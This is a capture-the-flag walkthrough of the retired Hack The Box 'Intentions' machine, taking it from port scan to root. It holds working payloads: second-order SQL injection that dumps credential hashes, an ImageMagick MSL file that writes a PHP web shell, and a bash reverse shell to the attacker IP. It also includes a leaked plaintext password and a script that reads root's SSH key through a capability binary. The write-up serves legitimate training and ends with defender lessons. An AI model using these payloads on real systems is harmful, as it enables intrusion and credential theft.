Hack The Box
Hack The Box: Intentions Walkthrough
An archived walkthrough of the retired Hack The Box Intentions machine, preserved from Abdullah Kareem's OSWE Prep preparation notes.

Target IP: 10.129.229.27 (active session used 10.129.11.89)
Attacker IP: 10.10.16.84
OS: Linux (Ubuntu 22.04)
Difficulty: Hard
Philosophy: The Hacker Mindset
Before diving into commands, let's talk about how to think when approaching a box like this.
Enumeration Before Exploitation
The golden rule: You cannot exploit what you do not understand. Every successful hack begins with painstaking observation. We map the attack surface, understand the application's logic, identify trust boundaries, and only then do we test assumptions.
Follow the Data
Web applications are fundamentally about data flow. Ask yourself at every step:
- Where does my input go?
- When is it processed?
- Who processes it?
- What assumptions does the developer make about this data?
The "Second-Order" Mindset
Most beginners look for immediate feedback. They input a single quote and expect an error instantly. Second-order vulnerabilities teach us patience—sometimes your payload is stored, sanitized, forgotten... and then dangerously reused elsewhere.
When Plans Fail, Debug Systematically
Our ImageMagick exploit initially failed. Rather than guessing, we tested the simplest possible authenticated request first. This isolated the problem: missing session cookies. Methodical debugging beats random guessing.
Phase 1: Reconnaissance
Step 1.1: Port Scanning with nmap
nmap -p- --min-rate 10000 10.129.229.27
nmap -p 22,80 -sCV 10.129.229.27
What we did:
- First scan: All 65535 TCP ports at high speed (
--min-rate 10000) to quickly identify open ports - Second scan: Service detection (
-sCV) on discovered ports to identify exact software versions
Results:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1
80/tcp open http nginx 1.18.0 (Ubuntu)
Hacker Mindset:
"Two ports. SSH means we have a backup access method if we get credentials. HTTP means we have a web application to analyze. The OpenSSH version tells us this is likely Ubuntu 22.04 Jammy. Nginx 1.18.0 is standard—no obvious CVEs here. The real attack surface is the web app."
Why this matters:
- SSH (22) gives us a persistence/escalation path if we find credentials
- HTTP (80) is our primary target for initial access
- Version information helps us eliminate known vulnerabilities and focus on custom application logic
Phase 2: Web Enumeration & Account Creation
Step 2.1: Initial Website Exploration
Visiting http://10.129.229.27/ shows the "Intentions Image Gallery" with a login form.
What we did:
- Checked for default credentials (admin/admin, etc.) — none worked
- Clicked "Register" and created a test account
- Logged in and explored all features: Gallery, Your Feed, Profile
Hacker Mindset:
"Every feature is a potential attack vector. I'm not looking for bugs yet—I'm building a mental model of how this application works. What data does it store? What does it display? Where does user input appear?"
Step 2.2: Understanding the Application Logic
After logging in, we discovered three key features:
| Feature | Description | Attack Relevance |
|---|---|---|
| Gallery | Shows all images by genre | Read-only, less interesting |
| Your Feed | Shows images matching your "Favorite Genres" | This is where stored data gets processed dynamically |
| Profile | Allows editing "Favorite Genres" (default: food,travel,nature) |
This is where we can store malicious input |
The Critical Observation:
When we changed genres to food,travel and clicked Update, "Your Feed" changed. This means:
- Our genres are stored in the database (Profile page)
- They are later retrieved to build a SQL query (Your Feed page)
Hacker Mindset:
"This is a classic second-order pattern. My input is stored in one place and used in another. If the developer builds a SQL query by inserting my genres string directly, I might be able to inject SQL."
Phase 3: Discovering the SQL Injection
Step 3.1: Testing for Injection
We tried setting Favorite Genres to: food'
Result: The profile saved successfully, but "Your Feed" returned a 500 Internal Server Error.
Why this is significant:
- The save operation worked (the profile accepted the quote)
- The error only appeared when the data was retrieved and used in a query
- This confirms a second-order SQL injection
Hacker Mindset:
"A first-order SQLi would error immediately on the save page. Here, the save succeeds but the read fails. This tells me the developer properly parameterized the INSERT/UPDATE but dangerously concatenated my stored value into a SELECT query elsewhere."
Step 3.2: Understanding the Query Structure
We hypothesized the backend query looked like:
SELECT * FROM images WHERE genre IN ('food', 'travel', 'nature')
To inject successfully, we need to:
- Close the opening parenthesis and quote:
') - Add our malicious SQL
- Comment out the rest with
#
We also discovered that spaces break the query (likely filtered or split somewhere), so we used MySQL comment syntax /**/ as a space substitute.
Step 3.3: Confirming Injection
Payload: food')/**/or/**/1=1#
Result: "Your Feed" showed ALL images from every genre.
Hacker Mindset:
"OR 1=1 is the classic 'show me everything' test. If this works, I own the WHERE clause. The injection is confirmed. Now I need to figure out the column count for a UNION SELECT."
Phase 4: Exploiting Second-Order SQLi
Step 4.1: Determining Column Count
Payload: ')/**/UNION/**/SELECT/**/1,2,3,4,5#
Result: Success! We saw one image with:
id: 1file: 2genre: 3created_at: timestampupdated_at: timestamp
Why UNION SELECT needs exact columns: SQL requires UNION statements to have the same number of columns as the original query. If we guess wrong, we get a column mismatch error.
Step 4.2: Database Enumeration
We used the genre column (position 3) to exfiltrate data since it accepts strings.
Get database name:
')/**/UNION/**/SELECT/**/1,2,database(),4,5#
Result: intentions
Get table names:
')/**/UNION/**/SELECT/**/1,2,table_name,4,5/**/from/**/information_schema.tables/**/where/**/table_schema='intentions'#
Result: We found the users table.
Step 4.3: Dumping User Credentials
Final Payload:
')/**/UNION/**/SELECT/**/1,2,concat(name,':',email,':',admin,':',password),4,5/**/from/**/users#
Result: We extracted all users including admins:
steve:steve@intentions.htb:1:[redacted retired-lab password hash]
greg:greg@intentions.htb:1:$2y$10$[redacted encoded lab material]
Key Observations:
admin=1indicates admin privileges- Passwords are bcrypt hashes (
$2y$10$...) - Bcrypt is computationally expensive to crack—brute-forcing would take days/weeks
Hacker Mindset:
"I have hashes, but bcrypt is designed to resist brute-force. Hashcat would struggle here. I need to find another way to use these hashes. Maybe the application itself can authenticate with them?"
Phase 5: Admin Access via v2 API
Step 5.1: Discovering the v2 Login Endpoint
Exploring JavaScript files (specifically admin.js) revealed that a v2 API exists with client-side password hashing. The v2 login uses email and hash instead of password.
Why this exists: The developers mistakenly believed that sending bcrypt hashes instead of plaintext passwords was "more secure"—not realizing that if you have the hash, you have the password from the server's perspective.
Step 5.2: Authenticating as Steve
curl -s -X POST http://10.129.11.89/api/v2/auth/login \
-H "Content-Type: application/json" \
-d '{"email":"steve@intentions.htb","hash":"[redacted retired-lab password hash]"}'
Result: We received a JWT token.
Hacker Mindset:
"This is a critical logic flaw. The developers confused 'not sending plaintext' with 'secure authentication.' A hash is just a delegated password. If the server accepts the hash as proof of identity, then leaking the hash is equivalent to leaking the password."
Step 5.3: Establishing a Session
The Problem: The JWT token alone wasn't enough for web/API access. The application also required session cookies (intentions_session, XSRF-TOKEN).
Solution: We established a full session by:
- Visiting the homepage to get base cookies
- Sending those cookies during v2 login
- Saving the resulting cookie jar
curl -s -c /tmp/htb_cookies.txt http://10.129.11.89/ > /dev/null
curl -s -i -X POST http://10.129.11.89/api/v2/auth/login \
-H "Content-Type: application/json" \
-b /tmp/htb_cookies.txt \
-c /tmp/htb_cookies.txt \
-d '{"email":"steve@intentions.htb","hash":"$2y$10$..."}'
Hacker Mindset:
"When authentication fails, don't assume the token is REDACTED Modern web apps often use multiple authentication mechanisms simultaneously—JWTs for API state, session cookies for web state, CSRF tokens for form security. I needed the complete authentication package."
Phase 6: ImageMagick RCE (MSL Exploit)
Step 6.1: Discovering the Admin Feature
As admin, we accessed /admin and found an image editing feature. Clicking "Edit" on an image showed effect buttons (CHARCOAL, etc.).
The API call:
POST /api/v2/admin/image/modify
{"path":"[redacted encoded lab material]-long--LMw-y4gxac-unsplash.jpg","effect":"charcoal"}
Hacker Mindset:
"Anytime an application reads a file path that I control, I ask: Can I read other files? Can I write files? What library handles this? The path parameter is a golden opportunity."
Step 6.2: Identifying ImageMagick
We confirmed ImageMagick by:
- Testing
path[100x100]— worked (resized) - Testing
path[]— failed - Testing
path[10x10]— worked (tiny image)
This bracket syntax is unique to ImageMagick.
Step 6.3: Understanding the Vulnerability
ImageMagick's PHP extension (Imagick) allows arbitrary object instantiation. When you pass a specially crafted path to new Imagick(), it can:
- Read from URLs (
http://,ftp://) - Process MSL (Magick Scripting Language) files
- Write files to arbitrary locations
The MSL format is an XML-based scripting language for ImageMagick that can:
- Read images (including from URLs)
- Write images (to arbitrary paths)
- Embed PHP code in captions
Step 6.4: The Exploit Chain
Problem: We can't directly upload an MSL file and reference it because msl:/http://attacker/ isn't supported.
Solution: We abuse PHP's temporary file handling:
- Send a multipart POST request with the MSL file as an attachment
- PHP saves it to
/tmp/phpXXXXXX(random suffix) - Use the
vid:scheme with wildcards:vid:msl:/tmp/php* - ImageMagick's
ExpandFilenamesfinds the temp file via wildcard matching
Step 6.5: Creating the Payload
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="caption:<?php system($_REQUEST['cmd']); ?>" />
<write filename="info:[redacted encoded lab material].php" />
</image>
Why this works:
caption:creates an image containing the text<?php system($_REQUEST['cmd']); ?>info:writes image metadata/info to the specified path- The resulting file contains PHP code that executes when accessed via the web server
- The
caption:text before the PHP tag appears in output (hence thecaption:prefix we saw)
Step 6.6: Executing the Exploit
curl -X POST "http://10.129.11.89/api/v2/admin/image/modify?path=vid:msl:/tmp/php*&effect=abcd" \
-b /tmp/htb_cookies.txt \
-F 'file=@/tmp/shell.msl;filename=test.msl'
Result: 502 Bad Gateway (ImageMagick crashed processing the MSL—this is expected and means success)
Verification:
curl -s "http://10.129.11.89/storage/shell.php?cmd=id"
# Output: caption:uid=33(www-data) gid=33(www-data) groups=33(www-data)
Hacker Mindset:
"A 502 error from nginx often means the backend PHP process crashed or timed out. In exploit development, a crash can be a sign of success—especially when dealing with complex parsers like ImageMagick. Always verify by checking if your payload artifact exists."
Phase 7: Shell as www-data
Step 7.1: Getting the Reverse Shell
nc -lnvp 443 # On Kali
curl -s "http://10.129.11.89/storage/shell.php" \
-d 'cmd=bash -c "bash -i >%26 /dev/tcp/10.10.16.84/443 0>%261"'
Critical detail: The %26 is URL-encoded &. Without this, PHP's system() would receive a broken command because & is a form data delimiter.
Result: We caught a shell as www-data.
Step 7.2: Upgrading the Shell
# In the reverse shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
Why upgrade? A basic netcat shell lacks job control, proper signal handling, and TTY features. A pseudo-TTY gives us a more stable interactive environment.
Phase 8: Privilege Escalation to greg
Step 8.1: Finding the Git Repository
cd /var/www/html/intentions
ls -la # Reveals .git directory
Hacker Mindset:
"Git repositories in production are gold mines. Developers often commit sensitive data—passwords, API keys, configuration files—and then 'remove' them in later commits. But Git remembers everything."
Step 8.2: Extracting Credentials from Git History
We encountered a permission issue: Git refused to run due to "dubious ownership." We bypassed this by setting HOME=/tmp so Git could write its config.
HOME=/tmp git config --global --add safe.directory /var/www/html/intentions
HOME=/tmp git --no-pager log --oneline
HOME=/tmp git --no-pager show 36b4287:tests/Feature/Helper.php
Result:
$res = $test->postJson('/api/v1/auth/login',
['email' => 'greg@intentions.htb',
'password' =REDACTED 'Gr3g1sTh3B3stDev3l0per!1998!']);
Hacker Mindset:
"This is why you check Git history. The password was removed in a later commit (
f7c903a), but it lives forever in commit36b4287. Always use--no-pagerwhen dealing with limited terminals."
Step 8.3: Pivoting to greg
su - greg
# Password: null
Phase 9: Privilege Escalation to root
Step 9.1: Enumeration as greg
sudo -l # No sudo access
find / -perm -4000 -or -perm -2000 2>/dev/null # No unusual SUID binaries
getcap -r / 2>/dev/null
Critical Discovery:
/opt/scanner/scanner cap_dac_read_search=ep
What cap_dac_read_search=ep means:
This Linux capability allows the binary to bypass all file read permission checks. It can read /root/.ssh/id_rsa, /etc/shadow, or any file regardless of ownership or permissions.
Hacker Mindset:
"Capabilities are the silent privilege escalators of modern Linux. They grant specific superuser powers without granting full root access. CAP_DAC_READ_SEARCH is basically 'read any file.' If I can abuse the binary's functionality to leak file contents, I win."
Step 9.2: Understanding the Scanner Binary
The scanner computes MD5 hashes of files and compares them against a blacklist. The key flag is -l:
-l int Maximum bytes of files being checked to hash (default 500)
With -p (print debug), it reveals the hash of the first N bytes.
Step 9.3: The Brute-Force Strategy
The Insight: If we know the MD5 hash of the first byte of a file, we can brute-force all 256 possible byte values to find the match. Then we do the same for the first 2 bytes, 3 bytes, etc.
Why this works:
- MD5 is deterministic: same input = same hash
- We can control the length with
-l - We can read any file with the capability
Step 9.4: The Exploit Script
#!/usr/bin/env python3
import hashlib
import subprocess
import sys
def get_hash(fn, n):
proc = subprocess.run(f"/opt/scanner/scanner -c {fn} -s whatever -p -l {n}".split(),
stdout=subprocess.PIPE, stderr=subprocess.PIPE)
try:
return proc.stdout.decode().strip().split()[-1]
except IndexError:
return None
def get_next_char(output, target):
for i in range(256):
if target == hashlib.md5(output + chr(i).encode()).hexdigest():
return chr(i).encode()
output = b""
fn = sys.argv[1]
while True:
target = get_hash(fn, len(output) + 1)
next_char = get_next_char(output, target)
if next_char is None:
break
output += next_char
print(next_char.decode(), end="", flush=True)
print()
Step 9.5: Reading root's SSH Key
python3 /tmp/read_file.py /root/.ssh/id_rsa
Result: After several minutes of brute-forcing byte-by-byte, we recovered the complete private key.
Hacker Mindset:
"This is a 'lame' exploit in the best way possible. No memory corruption, no fancy technique—just abusing the intended functionality of a privileged binary. When you have arbitrary read, the game is over. I chose
/root/.ssh/id_rsabecause it's the cleanest, most reliable persistence method."
Step 9.6: SSH as root
On Kali, we saved the key to root_key, set proper permissions, and connected:
chmod 600 root_key
ssh -i root_key root@10.129.11.89
Result: Root shell achieved.
Lessons Learned
For Attackers
- Second-order vulnerabilities require patience. Test inputs in all contexts where stored data is reused.
- Hashes are passwords. Never assume hashed credentials are safe to expose.
- Capabilities are privileges. Always check
getcapduring Linux enumeration. - Git history is sensitive. Never commit credentials, but also always check
.gitin target environments. - Debug systematically. When the MSL exploit failed, we tested a simple authenticated request first to isolate the auth isREDACTED
For Defenders
- Parameterize ALL queries. The SQLi existed because the genres string was concatenated into a SELECT statement while INSERTs were likely parameterized.
- Don't accept hashes as passwords. Client-side hashing doesn't improve security if the server accepts the hash.
- Sanitize file paths rigorously. Never pass user-controlled paths directly to image processing libraries.
- Audit capabilities.
cap_dac_read_searchon a user-accessible binary is equivalent to giving away root's reading ability. - Scrub Git history. Use
git filter-repoor BFG to permanently remove secrets from history.
Flags
- User Flag:
741c7b00[redacted]6731bff4 - Root Flag:
eeb7a2[redacted]279b9bb2
Happy Hacking!